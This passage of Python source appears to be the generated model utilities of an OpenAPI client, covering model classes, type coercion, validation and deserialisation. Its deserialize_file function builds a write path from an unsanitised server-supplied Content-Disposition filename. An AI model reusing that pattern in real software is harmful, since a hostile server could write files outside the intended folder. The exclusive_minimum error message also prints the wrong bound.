input data due to invalid discriminator " "value. The OpenAPI document has no mapping for discriminator " "property '%s'='%s' at path: %s" % (discr_propertyname_js, disc_prop_value, path_to_item) ) if new_cls in visited_composed_classes: # if we are making an instance of a composed schema Descendent # which allOf includes Ancestor, then Ancestor contains # a discriminator that includes Descendent. # So if we make an instance of Descendent, we have to make an # instance of Ancestor to hold the allOf properties. # This code detects that use case and makes the instance of Ancestor # For example: # When making an instance of Dog, _visited_composed_classes = (Dog,) # then we make an instance of Animal to include in dog._composed_instances # so when we are here, cls is Animal # cls.discriminator != None # cls not in _visited_composed_classes # new_cls = Dog # but we know we know that we already have Dog # because it is in visited_composed_classes # so make Animal here return super(OpenApiModel, cls).__new__(cls) # Build a list containing all oneOf and anyOf descendants. oneof_anyof_classes = None if cls._composed_schemas is not None: oneof_anyof_classes = ( cls._composed_schemas.get('oneOf', ()) + cls._composed_schemas.get('anyOf', ())) oneof_anyof_child = new_cls in oneof_anyof_classes kwargs['_visited_composed_classes'] = visited_composed_classes + (cls,) if cls._composed_schemas.get('allOf') and oneof_anyof_child: # Validate that we can make self because when we make the # new_cls it will not include the allOf validations in self self_inst = super(OpenApiModel, cls).__new__(cls) self_inst.__init__(*args, **kwargs) new_inst = new_cls.__new__(new_cls, *args, **kwargs) new_inst.__init__(*args, **kwargs) return new_inst class ModelSimple(OpenApiModel): """the parent class of models whose type != object in their swagger/openapi""" def __setitem__(self, name, value): """set the value of an attribute using square-bracket notation: `instance[attr] = val`""" if name in self.required_properties: self.__dict__[name] = value return self.set_attribute(name, value) def get(self, name, default=None): """returns the value of an attribute or some default value if the attribute was not set""" if name in self.required_properties: return self.__dict__[name] return self.__dict__['_data_store'].get(name, default) def __getitem__(self, name): """get the value of an attribute using square-bracket notation: `instance[attr]`""" if name in self: return self.get(name) raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) def __contains__(self, name): """used by `in` operator to check if an attrbute value was set in an instance: `'attr' in instance`""" if name in self.required_properties: return name in self.__dict__ return name in self.__dict__['_data_store'] def to_str(self): """Returns the string representation of the model""" return str(self.value) def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, self.__class__): return False this_val = self._data_store['value'] that_val = other._data_store['value'] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val return vals_equal class ModelNormal(OpenApiModel): """the parent class of models whose type == object in their swagger/openapi""" def __setitem__(self, name, value): """set the value of an attribute using square-bracket notation: `instance[attr] = val`""" if name in self.required_properties: self.__dict__[name] = value return self.set_attribute(name, value) def get(self, name, default=None): """returns the value of an attribute or some default value if the attribute was not set""" if name in self.required_properties: return self.__dict__[name] return self.__dict__['_data_store'].get(name, default) def __getitem__(self, name): """get the value of an attribute using square-bracket notation: `instance[attr]`""" if name in self: return self.get(name) raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) def __contains__(self, name): """used by `in` operator to check if an attrbute value was set in an instance: `'attr' in instance`""" if name in self.required_properties: return name in self.__dict__ return name in self.__dict__['_data_store'] def to_dict(self): """Returns the model properties as a dict""" return model_to_dict(self, serialize=False) def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, self.__class__): return False if not set(self._data_store.keys()) == set(other._data_store.keys()): return False for _var_name, this_val in self._data_store.items(): that_val = other._data_store[_var_name] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val if not vals_equal: return False return True class ModelComposed(OpenApiModel): """the parent class of models whose type == object in their swagger/openapi and have oneOf/allOf/anyOf When one sets a property we use var_name_to_model_instances to store the value in the correct class instances + run any type checking + validation code. When one gets a property we use var_name_to_model_instances to get the value from the correct class instances. This allows multiple composed schemas to contain the same property with additive constraints on the value. _composed_schemas (dict) stores the anyOf/allOf/oneOf classes key (str): allOf/oneOf/anyOf value (list): the classes in the XOf definition. Note: none_type can be included when the openapi document version >= 3.1.0 _composed_instances (list): stores a list of instances of the composed schemas defined in _composed_schemas. When properties are accessed in the self instance, they are returned from the self._data_store or the data stores in the instances in self._composed_schemas _var_name_to_model_instances (dict): maps between a variable name on self and the composed instances (self included) which contain that data key (str): property name value (list): list of class instances, self or instances in _composed_instances which contain the value that the key is referring to. """ def __setitem__(self, name, value): """set the value of an attribute using square-bracket notation: `instance[attr] = val`""" if name in self.required_properties: self.__dict__[name] = value return # set the attribute on the correct instance model_instances = self._var_name_to_model_instances.get( name, self._additional_properties_model_instances) if model_instances: for model_instance in model_instances: if model_instance == self: self.set_attribute(name, value) else: setattr(model_instance, name, value) if name not in self._var_name_to_model_instances: # we assigned an additional property self.__dict__['_var_name_to_model_instances'][name] = ( model_instance ) return None raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) __unset_attribute_value__ = object() def get(self, name, default=None): """returns the value of an attribute or some default value if the attribute was not set""" if name in self.required_properties: return self.__dict__[name] # get the attribute from the correct instance model_instances = self._var_name_to_model_instances.get( name, self._additional_properties_model_instances) values = [] # A composed model stores child (oneof/anyOf/allOf) models under # self._var_name_to_model_instances. A named property can exist in # multiple child models. If the property is present in more than one # child model, the value must be the same across all the child models. if model_instances: for model_instance in model_instances: if name in model_instance._data_store: v = model_instance._data_store[name] if v not in values: values.append(v) len_values = len(values) if len_values == 0: return default elif len_values == 1: return values[0] elif len_values > 1: raise ApiValueError( "Values stored for property {0} in {1} differ when looking " "at self and self's composed instances. All values must be " "the same".format(name, type(self).__name__), [e for e in [self._path_to_item, name] if e] ) def __getitem__(self, name): """get the value of an attribute using square-bracket notation: `instance[attr]`""" value = self.get(name, self.__unset_attribute_value__) if value is self.__unset_attribute_value__: raise ApiAttributeError( "{0} has no attribute '{1}'".format( type(self).__name__, name), [e for e in [self._path_to_item, name] if e] ) return value def __contains__(self, name): """used by `in` operator to check if an attrbute value was set in an instance: `'attr' in instance`""" if name in self.required_properties: return name in self.__dict__ model_instances = self._var_name_to_model_instances.get( name, self._additional_properties_model_instances) if model_instances: for model_instance in model_instances: if name in model_instance._data_store: return True return False def to_dict(self): """Returns the model properties as a dict""" return model_to_dict(self, serialize=False) def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, self.__class__): return False if not set(self._data_store.keys()) == set(other._data_store.keys()): return False for _var_name, this_val in self._data_store.items(): that_val = other._data_store[_var_name] types = set() types.add(this_val.__class__) types.add(that_val.__class__) vals_equal = this_val == that_val if not vals_equal: return False return True COERCION_INDEX_BY_TYPE = { ModelComposed: 0, ModelNormal: 1, ModelSimple: 2, none_type: 3, # The type of 'None'. list: 4, dict: 5, float: 6, int: 7, bool: 8, datetime: 9, date: 10, str: 11, file_type: 12, # 'file_type' is an alias for the built-in 'file' or 'io.IOBase' type. } # these are used to limit what type conversions we try to do # when we have a valid type already and we want to try converting # to another type UPCONVERSION_TYPE_PAIRS = ( (str, datetime), (str, date), (int, float), # A float may be serialized as an integer, e.g. '3' is a valid serialized float. (list, ModelComposed), (dict, ModelComposed), (str, ModelComposed), (int, ModelComposed), (float, ModelComposed), (list, ModelComposed), (list, ModelNormal), (dict, ModelNormal), (str, ModelSimple), (int, ModelSimple), (float, ModelSimple), (list, ModelSimple), ) COERCIBLE_TYPE_PAIRS = { False: ( # client instantiation of a model with client data # (dict, ModelComposed), # (list, ModelComposed), # (dict, ModelNormal), # (list, ModelNormal), # (str, ModelSimple), # (int, ModelSimple), # (float, ModelSimple), # (list, ModelSimple), # (str, int), # (str, float), # (str, datetime), # (str, date), # (int, str), # (float, str), ), True: ( # server -> client data (dict, ModelComposed), (list, ModelComposed), (dict, ModelNormal), (list, ModelNormal), (str, ModelSimple), (int, ModelSimple), (float, ModelSimple), (list, ModelSimple), # (str, int), # (str, float), (str, datetime), (str, date), # (int, str), # (float, str), (str, file_type) ), } def get_simple_class(input_value): """Returns an input_value's simple class that we will use for type checking Python2: float and int will return int, where int is the python3 int backport str and unicode will return str, where str is the python3 str backport Note: float and int ARE both instances of int backport Note: str_py2 and unicode_py2 are NOT both instances of str backport Args: input_value (class/class_instance): the item for which we will return the simple class """ if isinstance(input_value, type): # input_value is a class return input_value elif isinstance(input_value, tuple): return tuple elif isinstance(input_value, list): return list elif isinstance(input_value, dict): return dict elif isinstance(input_value, none_type): return none_type elif isinstance(input_value, file_type): return file_type elif isinstance(input_value, bool): # this must be higher than the int check because # isinstance(True, int) == True return bool elif isinstance(input_value, int): return int elif isinstance(input_value, datetime): # this must be higher than the date check because # isinstance(datetime_instance, date) == True return datetime elif isinstance(input_value, date): return date elif isinstance(input_value, str): return str return type(input_value) def check_allowed_values(allowed_values, input_variable_path, input_values): """Raises an exception if the input_values are not allowed Args: allowed_values (dict): the allowed_values dict input_variable_path (tuple): the path to the input variable input_values (list/str/int/float/date/datetime): the values that we are checking to see if they are in allowed_values """ these_allowed_values = list(allowed_values[input_variable_path].values()) if (isinstance(input_values, list) and not set(input_values).issubset( set(these_allowed_values))): invalid_values = ", ".join( map(str, set(input_values) - set(these_allowed_values))), raise ApiValueError( "Invalid values for `%s` [%s], must be a subset of [%s]" % ( input_variable_path[0], invalid_values, ", ".join(map(str, these_allowed_values)) ) ) elif (isinstance(input_values, dict) and not set( input_values.keys()).issubset(set(these_allowed_values))): invalid_values = ", ".join( map(str, set(input_values.keys()) - set(these_allowed_values))) raise ApiValueError( "Invalid keys in `%s` [%s], must be a subset of [%s]" % ( input_variable_path[0], invalid_values, ", ".join(map(str, these_allowed_values)) ) ) elif (not isinstance(input_values, (list, dict)) and input_values not in these_allowed_values): raise ApiValueError( "Invalid value for `%s` (%s), must be one of %s" % ( input_variable_path[0], input_values, these_allowed_values ) ) def is_json_validation_enabled(schema_keyword, configuration=None): """Returns true if JSON schema validation is enabled for the specified validation keyword. This can be used to skip JSON schema structural validation as requested in the configuration. Args: schema_keyword (string): the name of a JSON schema validation keyword. configuration (Configuration): the configuration class. """ return (configuration is None or not hasattr(configuration, '_disabled_client_side_validations') or schema_keyword not in configuration._disabled_client_side_validations) def check_validations( validations, input_variable_path, input_values, configuration=None): """Raises an exception if the input_values are invalid Args: validations (dict): the validation dictionary. input_variable_path (tuple): the path to the input variable. input_values (list/str/int/float/date/datetime): the values that we are checking. configuration (Configuration): the configuration class. """ if input_values is None: return current_validations = validations[input_variable_path] if (is_json_validation_enabled('multipleOf', configuration) and 'multiple_of' in current_validations and isinstance(input_values, (int, float)) and not (float(input_values) / current_validations['multiple_of']).is_integer()): # Note 'multipleOf' will be as good as the floating point arithmetic. raise ApiValueError( "Invalid value for `%s`, value must be a multiple of " "`%s`" % ( input_variable_path[0], current_validations['multiple_of'] ) ) if (is_json_validation_enabled('maxLength', configuration) and 'max_length' in current_validations and len(input_values) > current_validations['max_length']): raise ApiValueError( "Invalid value for `%s`, length must be less than or equal to " "`%s`" % ( input_variable_path[0], current_validations['max_length'] ) ) if (is_json_validation_enabled('minLength', configuration) and 'min_length' in current_validations and len(input_values) < current_validations['min_length']): raise ApiValueError( "Invalid value for `%s`, length must be greater than or equal to " "`%s`" % ( input_variable_path[0], current_validations['min_length'] ) ) if (is_json_validation_enabled('maxItems', configuration) and 'max_items' in current_validations and len(input_values) > current_validations['max_items']): raise ApiValueError( "Invalid value for `%s`, number of items must be less than or " "equal to `%s`" % ( input_variable_path[0], current_validations['max_items'] ) ) if (is_json_validation_enabled('minItems', configuration) and 'min_items' in current_validations and len(input_values) < current_validations['min_items']): raise ValueError( "Invalid value for `%s`, number of items must be greater than or " "equal to `%s`" % ( input_variable_path[0], current_validations['min_items'] ) ) items = ('exclusive_maximum', 'inclusive_maximum', 'exclusive_minimum', 'inclusive_minimum') if (any(item in current_validations for item in items)): if isinstance(input_values, list): max_val = max(input_values) min_val = min(input_values) elif isinstance(input_values, dict): max_val = max(input_values.values()) min_val = min(input_values.values()) else: max_val = input_values min_val = input_values if (is_json_validation_enabled('exclusiveMaximum', configuration) and 'exclusive_maximum' in current_validations and max_val >= current_validations['exclusive_maximum']): raise ApiValueError( "Invalid value for `%s`, must be a value less than `%s`" % ( input_variable_path[0], current_validations['exclusive_maximum'] ) ) if (is_json_validation_enabled('maximum', configuration) and 'inclusive_maximum' in current_validations and max_val > current_validations['inclusive_maximum']): raise ApiValueError( "Invalid value for `%s`, must be a value less than or equal to " "`%s`" % ( input_variable_path[0], current_validations['inclusive_maximum'] ) ) if (is_json_validation_enabled('exclusiveMinimum', configuration) and 'exclusive_minimum' in current_validations and min_val <= current_validations['exclusive_minimum']): raise ApiValueError( "Invalid value for `%s`, must be a value greater than `%s`" % ( input_variable_path[0], current_validations['exclusive_maximum'] ) ) if (is_json_validation_enabled('minimum', configuration) and 'inclusive_minimum' in current_validations and min_val < current_validations['inclusive_minimum']): raise ApiValueError( "Invalid value for `%s`, must be a value greater than or equal " "to `%s`" % ( input_variable_path[0], current_validations['inclusive_minimum'] ) ) flags = current_validations.get('regex', {}).get('flags', 0) if (is_json_validation_enabled('pattern', configuration) and 'regex' in current_validations and not re.search(current_validations['regex']['pattern'], input_values, flags=flags)): err_msg = r"Invalid value for `%s`, must match regular expression `%s`" % ( input_variable_path[0], current_validations['regex']['pattern'] ) if flags != 0: # Don't print the regex flags if the flags are not # specified in the OAS document. err_msg = r"%s with flags=`%s`" % (err_msg, flags) raise ApiValueError(err_msg) def order_response_types(required_types): """Returns the required types sorted in coercion order Args: required_types (list/tuple): collection of classes or instance of list or dict with class information inside it. Returns: (list): coercion order sorted collection of classes or instance of list or dict with class information inside it. """ def index_getter(class_or_instance): if isinstance(class_or_instance, list): return COERCION_INDEX_BY_TYPE[list] elif isinstance(class_or_instance, dict): return COERCION_INDEX_BY_TYPE[dict] elif (inspect.isclass(class_or_instance) and issubclass(class_or_instance, ModelComposed)): return COERCION_INDEX_BY_TYPE[ModelComposed] elif (inspect.isclass(class_or_instance) and issubclass(class_or_instance, ModelNormal)): return COERCION_INDEX_BY_TYPE[ModelNormal] elif (inspect.isclass(class_or_instance) and issubclass(class_or_instance, ModelSimple)): return COERCION_INDEX_BY_TYPE[ModelSimple] elif class_or_instance in COERCION_INDEX_BY_TYPE: return COERCION_INDEX_BY_TYPE[class_or_instance] raise ApiValueError("Unsupported type: %s" % class_or_instance) sorted_types = sorted( required_types, key=lambda class_or_instance: index_getter(class_or_instance) ) return sorted_types def remove_uncoercible(required_types_classes, current_item, spec_property_naming, must_convert=True): """Only keeps the type conversions that are possible Args: required_types_classes (tuple): tuple of classes that are required these should be ordered by COERCION_INDEX_BY_TYPE spec_property_naming (bool): True if the variable names in the input data are serialized names as specified in the OpenAPI document. False if the variables names in the input data are python variable names in PEP-8 snake case. current_item (any): the current item (input data) to be converted Keyword Args: must_convert (bool): if True the item to convert is of the wrong type and we want a big list of coercibles if False, we want a limited list of coercibles Returns: (list): the remaining coercible required types, classes only """ current_type_simple = get_simple_class(current_item) results_classes = [] for required_type_class in required_types_classes: # convert our models to OpenApiModel required_type_class_simplified = required_type_class if isinstance(required_type_class_simplified, type): if issubclass(required_type_class_simplified, ModelComposed): required_type_class_simplified = ModelComposed elif issubclass(required_type_class_simplified, ModelNormal): required_type_class_simplified = ModelNormal elif issubclass(required_type_class_simplified, ModelSimple): required_type_class_simplified = ModelSimple if required_type_class_simplified == current_type_simple: # don't consider converting to one's own class continue class_pair = (current_type_simple, required_type_class_simplified) if must_convert and class_pair in COERCIBLE_TYPE_PAIRS[spec_property_naming]: results_classes.append(required_type_class) elif class_pair in UPCONVERSION_TYPE_PAIRS: results_classes.append(required_type_class) return results_classes def get_discriminated_classes(cls): """ Returns all the classes that a discriminator converts to TODO: lru_cache this """ possible_classes = [] key = list(cls.discriminator.keys())[0] if is_type_nullable(cls): possible_classes.append(cls) for discr_cls in cls.discriminator[key].values(): if hasattr(discr_cls, 'discriminator') and discr_cls.discriminator is not None: possible_classes.extend(get_discriminated_classes(discr_cls)) else: possible_classes.append(discr_cls) return possible_classes def get_possible_classes(cls, from_server_context): # TODO: lru_cache this possible_classes = [cls] if from_server_context: return possible_classes if hasattr(cls, 'discriminator') and cls.discriminator is not None: possible_classes = [] possible_classes.extend(get_discriminated_classes(cls)) elif issubclass(cls, ModelComposed): possible_classes.extend(composed_model_input_classes(cls)) return possible_classes def get_required_type_classes(required_types_mixed, spec_property_naming): """Converts the tuple required_types into a tuple and a dict described below Args: required_types_mixed (tuple/list): will contain either classes or instance of list or dict spec_property_naming (bool): if True these values came from the server, and we use the data types in our endpoints. If False, we are client side and we need to include oneOf and discriminator classes inside the data types in our endpoints Returns: (valid_classes, dict_valid_class_to_child_types_mixed): valid_classes (tuple): the valid classes that the current item should be dict_valid_class_to_child_types_mixed (dict): valid_class (class): this is the key child_types_mixed (list/dict/tuple): describes the valid child types """ valid_classes = [] child_req_types_by_current_type = {} for required_type in required_types_mixed: if isinstance(required_type, list): valid_classes.append(list) child_req_types_by_current_type[list] = required_type elif isinstance(required_type, tuple): valid_classes.append(tuple) child_req_types_by_current_type[tuple] = required_type elif isinstance(required_type, dict): valid_classes.append(dict) child_req_types_by_current_type[dict] = required_type[str] else: valid_classes.extend(get_possible_classes(required_type, spec_property_naming)) return tuple(valid_classes), child_req_types_by_current_type def change_keys_js_to_python(input_dict, model_class): """ Converts from javascript_key keys in the input_dict to python_keys in the output dict using the mapping in model_class. If the input_dict contains a key which does not declared in the model_class, the key is added to the output dict as is. The assumption is the model_class may have undeclared properties (additionalProperties attribute in the OAS document). """ if getattr(model_class, 'attribute_map', None) is None: return input_dict output_dict = {} reversed_attr_map = {value: key for key, value in model_class.attribute_map.items()} for javascript_key, value in input_dict.items(): python_key = reversed_attr_map.get(javascript_key) if python_key is None: # if the key is unknown, it is in error or it is an # additionalProperties variable python_key = javascript_key output_dict[python_key] = value return output_dict def get_type_error(var_value, path_to_item, valid_classes, key_type=False): error_msg = type_error_message( var_name=path_to_item[-1], var_value=var_value, valid_classes=valid_classes, key_type=key_type ) return ApiTypeError( error_msg, path_to_item=path_to_item, valid_classes=valid_classes, key_type=key_type ) def deserialize_primitive(data, klass, path_to_item): """Deserializes string to primitive type. :param data: str/int/float :param klass: str/class the class to convert to :return: int, float, str, bool, date, datetime """ additional_message = "" try: if klass in {datetime, date}: additional_message = ( "If you need your parameter to have a fallback " "string value, please set its type as `type: {}` in your " "spec. That allows the value to be any type. " ) if klass == datetime: if len(data) < 8: raise ValueError("This is not a datetime") # The string should be in iso8601 datetime format. parsed_datetime = parse(data) date_only = ( parsed_datetime.hour == 0 and parsed_datetime.minute == 0 and parsed_datetime.second == 0 and parsed_datetime.tzinfo is None and 8 <= len(data) <= 10 ) if date_only: raise ValueError("This is a date, not a datetime") return parsed_datetime elif klass == date: if len(data) < 8: raise ValueError("This is not a date") return parse(data).date() else: converted_value = klass(data) if isinstance(data, str) and klass == float: if str(converted_value) != data: # '7' -> 7.0 -> '7.0' != '7' raise ValueError('This is not a float') return converted_value except (OverflowError, ValueError) as ex: # parse can raise OverflowError raise ApiValueError( "{0}Failed to parse {1} as {2}".format( additional_message, repr(data), klass.__name__ ), path_to_item=path_to_item ) from ex def get_discriminator_class(model_class, discr_name, discr_value, cls_visited): """Returns the child class specified by the discriminator. Args: model_class (OpenApiModel): the model class. discr_name (string): the name of the discriminator property. discr_value (any): the discriminator value. cls_visited (list): list of model classes that have been visited. Used to determine the discriminator class without visiting circular references indefinitely. Returns: used_model_class (class/None): the chosen child class that will be used to deserialize the data, for example dog.Dog. If a class is not found, None is returned. """ if model_class in cls_visited: # The class has already been visited and no suitable class was found. return None cls_visited.append(model_class) used_model_class = None if discr_name in model_class.discriminator: class_name_to_discr_class = model_class.discriminator[discr_name] used_model_class = class_name_to_discr_class.get(discr_value) if used_model_class is None: # We didn't find a discriminated class in class_name_to_discr_class. # So look in the ancestor or descendant discriminators # The discriminator mapping may exist in a descendant (anyOf, oneOf) # or ancestor (allOf). # Ancestor example: in the GrandparentAnimal -> ParentPet -> ChildCat # hierarchy, the discriminator mappings may be defined at any level # in the hierarchy. # Descendant example: mammal -> whale/zebra/Pig -> BasquePig/DanishPig # if we try to make BasquePig from mammal, we need to travel through # the oneOf descendant discriminators to find BasquePig descendant_classes = model_class._composed_schemas.get('oneOf', ()) + \ model_class._composed_schemas.get('anyOf', ()) ancestor_classes = model_class._composed_schemas.get('allOf', ()) possible_classes = descendant_classes + ancestor_classes for cls in possible_classes: # Check if the schema has inherited discriminators. if hasattr(cls, 'discriminator') and cls.discriminator is not None: used_model_class = get_discriminator_class( cls, discr_name, discr_value, cls_visited) if used_model_class is not None: return used_model_class return used_model_class def deserialize_model(model_data, model_class, path_to_item, check_type, configuration, spec_property_naming): """Deserializes model_data to model instance. Args: model_data (int/str/float/bool/none_type/list/dict): data to instantiate the model model_class (OpenApiModel): the model class path_to_item (list): path to the model in the received data check_type (bool): whether to check the data tupe for the values in the model configuration (Configuration): the instance to use to convert files spec_property_naming (bool): True if the variable names in the input data are serialized names as specified in the OpenAPI document. False if the variables names in the input data are python variable names in PEP-8 snake case. Returns: model instance Raise: ApiTypeError ApiValueError ApiKeyError """ kw_args = dict(_check_type=check_type, _path_to_item=path_to_item, _configuration=configuration, _spec_property_naming=spec_property_naming) if issubclass(model_class, ModelSimple): return model_class(model_data, **kw_args) elif isinstance(model_data, list): return model_class(*model_data, **kw_args) if isinstance(model_data, dict): kw_args.update(model_data) return model_class(**kw_args) elif isinstance(model_data, PRIMITIVE_TYPES): return model_class(model_data, **kw_args) def deserialize_file(response_data, configuration, content_disposition=None): """Deserializes body to file Saves response body into a file in a temporary folder, using the filename from the `Content-Disposition` header if provided. Args: param response_data (str): the file data to write configuration (Configuration): the instance to use to convert files Keyword Args: content_disposition (str): the value of the Content-Disposition header Returns: (file_type): the deserialized file which is open The user is responsible for closing and reading the file """ fd, path = tempfile.mkstemp(dir=configuration.temp_folder_path) os.close(fd) os.remove(path) if content_disposition: filename = re.search(r'filename=[\'"]?([^\'"\s]+)[\'"]?', content_disposition).group(1) path = os.path.join(os.path.dirname(path), filename) with open(path, "wb") as f: if isinstance(response_data, str): # change str to bytes so we can write it response_data = response_data.encode('utf-8') f.write(response_data) f = open(path, "rb") return f def attempt_convert_item(input_value, valid_classes, path_to_item, configuration, spec_property_naming, key_type=False, must_convert=False, check_type=True): """ Args: input_value (any): the data to convert valid_classes (any): the classes that are valid path_to_item (list): the path to the item to convert configuration (Configuration): the instance to use to convert files spec_property_naming (bool): True if the variable names in the input data are serialized names as specified in the OpenAPI document. False if the variables names in the input data are python variable names in PEP-8 snake case. key_type (bool): if True we need to convert a key type (not supported) must_convert (bool): if True we must convert check_type (bool): if True we check the type or the returned data in ModelComposed/ModelNormal/ModelSimple instances Returns: instance (any) the fixed item Raises: ApiTypeError ApiValueError ApiKeyError """ valid_classes_ordered = order_response_types(valid_classes) valid_classes_coercible = remove_uncoercible( valid_classes_ordered, input_value, spec_property_naming) if not valid_classes_coercible or key_type: # we do not handle keytype errors, json will take care # of this for us if configuration is None or not configuration.discard_unknown_keys: raise get_type_error(input_value, path_to_item, valid_classes, key_type=key_type) for valid_class in valid_classes_coercible: try: if issubclass(valid_class, OpenApiModel): return deserialize_model(input_value, valid_class, path_to_item, check_type, configuration, spec_property_naming) elif valid_class == file_type: return deserialize_file(input_value, configuration) return deserialize_primitive(input_value, valid_class, path_to_item) except (ApiTypeError, ApiValueError, ApiKeyError) as conversion_exc: if must_convert: raise conversion_exc # if we have conversion errors when must_convert == False # we ignore the exception and move on to the next class continue # we were unable to convert, must_convert == False return input_value def is_type_nullable(input_type): """ Returns true if None is an allowed value for the specified input_type. A type is nullable if at least one of the following conditions is true: 1. The OAS 'nullable' attribute has been specified, 1. The type is the 'null' type, 1. The type is a anyOf/oneOf composed schema, and a child schema is the 'null' type. Args: input_type (type): the class of the input_value that we are checking Returns: bool """ if input_type is none_type: return True if issubclass(input_type, OpenApiModel) and input_type._nullable: return True if issubclass(input_type, ModelComposed): # If oneOf/anyOf, check if the 'null' type is one of the allowed types. for t in input_type._composed_schemas.get('oneOf', ()): if is_type_nullable(t): return True for t in input_type._composed_schemas.get('anyOf', ()): if is_type_nullable(t): return True return False def is_valid_type(input_class_simple, valid_classes): """ Args: input_class_simple (class): the class of the input_value that we are checking valid_classes (tuple): the valid classes that the current item should be Returns: bool """ valid_type = input_class_simple in valid_classes if not valid_type and ( issubclass(input_class_simple, OpenApiModel) or input_class_simple is none_type): for valid_class in valid_classes: if input_class_simple is none_type and is_type_nullable(valid_class): # Schema is oneOf/anyOf and the 'null' type is one of the allowed types. return True if not (issubclass(valid_class, OpenApiModel) and valid_class.discriminator): continue discr_propertyname_py = list(valid_class.discriminator.keys())[0] discriminator_classes = ( valid_class.discriminator[discr_propertyname_py].values() ) valid_type = is_valid_type(input_class_simple, discriminator_classes) if valid_type: return True return valid_type def validate_and_convert_types(input_value, required_types_mixed, path_to_item, spec_property_naming, _check_type, configuration=None): """Raises a TypeError is there is a problem, otherwise returns value Args: input_value (any): the data to validate/convert required_types_mixed (list/dict/tuple): A list of valid classes, or a list tuples of valid classes, or a dict where the value is a tuple of value classes path_to_item: (list) the path to the data being validated this stores a list of keys or indices to get to the data being validated spec_property_naming (bool): True if the variable names in the input data are serialized names as specified in the OpenAPI document. False if the variables names in the input data are python variable names in PEP-8 snake case. _check_type: (boolean) if true, type will be checked and conversion will be attempted. configuration: (Configuration): the configuration class to use when converting file_type items. If passed, conversion will be attempted when possible If not passed, no conversions will be attempted and exceptions will be raised Returns: the correctly typed value Raises: ApiTypeError """ results = get_required_type_classes(required_types_mixed, spec_property_naming) valid_classes, child_req_types_by_current_type = results input_class_simple = get_simple_class(input_value) valid_type = is_valid_type(input_class_simple, valid_classes) if not valid_type: if configuration: # if input_value is not valid_type try to convert it converted_instance = attempt_convert_item( input_value, valid_classes, path_to_item, configuration, spec_property_naming, key_type=False, must_convert=True, check_type=_check_type ) return converted_instance else: raise get_type_error(input_value, path_to_item, valid_classes, key_type=False) # input_value's type is in valid_classes if len(valid_classes) > 1 and configuration: # there are valid classes which are not the current class valid_classes_coercible = remove_uncoercible( valid_classes, input_value, spec_property_naming, must_convert=False) if valid_classes_coercible: converted_instance = attempt_convert_item( input_value, valid_classes_coercible, path_to_item, configuration, spec_property_naming, key_type=False, must_convert=False, check_type=_check_type ) return converted_instance if child_req_types_by_current_type == {}: # all types are of the required types and there are no more inner # variables left to look at return input_value inner_required_types = child_req_types_by_current_type.get( type(input_value) ) if inner_required_types is None: # for this type, there are not more inner variables left to look at return input_value if isinstance(input_value, list): if input_value == []: # allow an empty list return input_value for index, inner_value in enumerate(input_value): inner_path = list(path_to_item) inner_path.append(index) input_value[index] = validate_and_convert_types( inner_value, inner_required_types, inner_path, spec_property_naming, _check_type, configuration=configuration ) elif isinstance(input_value, dict): if input_value == {}: # allow an empty dict return input_value for inner_key, inner_val in input_value.items(): inner_path = list(path_to_item) inner_path.append(inner_key) if get_simple_class(inner_key) != str: raise get_type_error(inner_key, inner_path, valid_classes, key_type=True) input_value[inner_key] = validate_and_convert_types( inner_val, inner_required_types, inner_path, spec_property_naming, _check_type, configuration=configuration ) return input_value def model_to_dict(model_instance, serialize=True): """Returns the model properties as a dict Args: model_instance (one of your model instances): the model instance that will be converted to a dict. Keyword Args: serialize (bool): if True, the keys in the dict will be values from attribute_map """ result = {} model_instances = [model_instance] if model_instance._composed_schemas: model_instances.extend(model_instance._composed_instances) for model_instance in model_instances: for attr, value in model_instance._data_store.items(): if serialize: # we use get here because additional property key names do not # exist in attribute_map attr = model_instance.attribute_map.get(attr, attr) if isinstance(value, list): if not value: # empty list or None result[attr] = value else: res = [] for v in value: if isinstance(v, PRIMITIVE_TYPES) or v is None: res.append(v) elif isinstance(v, ModelSimple): res.append(v.value) else: res.append(model_to_dict(v, serialize=serialize)) result[attr] = res elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], model_to_dict(item[1], serialize=serialize)) if hasattr(item[1], '_data_store') else item, value.items() )) elif isinstance(value, ModelSimple): result[attr] = value.value elif hasattr(value, '_data_store'): result[attr] = model_to_dict(value, serialize=serialize) else: result[attr] = value return result def type_error_message(var_value=None, var_name=None, valid_classes=None, key_type=None): """ Keyword Args: var_value (any): the variable which has the type_error var_name (str): the name of the variable which has the typ error valid_classes (tuple): the accepted classes for current_item's value key_type (bool): False if our value is a value in a dict True if it is a key in a dict False if our item is an item in a list """ key_or_value = 'value' if key_type: key_or_value = 'key' valid_classes_phrase = get_valid_classes_phrase(valid_classes) msg = ( "Invalid type for variable '{0}'. Required {1} type {2} and " "passed type was {3}".format( var_name, key_or_value, valid_classes_phrase, type(var_value).__name__, ) ) return msg def get_valid_classes_phrase(input_classes): """Returns a string phrase describing what types are allowed """ all_classes = list(input_classes) all_classes = sorted(all_classes, key=lambda cls: cls.__name__) all_class_names = [cls.__name__ for cls in all_classes] if len(all_class_names) == 1: return 'is {0}'.format(all_class_names[0]) return "is one of [{0}]".format(", ".join(all_class_names)) def convert_js_args_to_python_args(fn): from functools import wraps @wraps(fn) def wrapped_init(_self, *args, **kwargs): """ An attribute named `self` received from the api will conflicts with the reserved `self` parameter of a class method. During generation, `self` attributes are mapped to `_self` in models. Here, we name `_self` instead of `self` to avoid conflicts. """ spec_property_naming = kwargs.get('_spec_property_naming', False) if spec_property_naming: kwargs = change_keys_js_to_python(kwargs, _self.__class__) return fn(_self, *args, **kwargs) return wrapped_init def get_allof_instances(self, model_args, constant_args): """ Args: self: the class we are handling model_args (dict): var_name to var_value used to make instances constant_args (dict): var_name to var_value used to make instances Returns composed_instances (list) """ composed_instances = [] for allof_class in 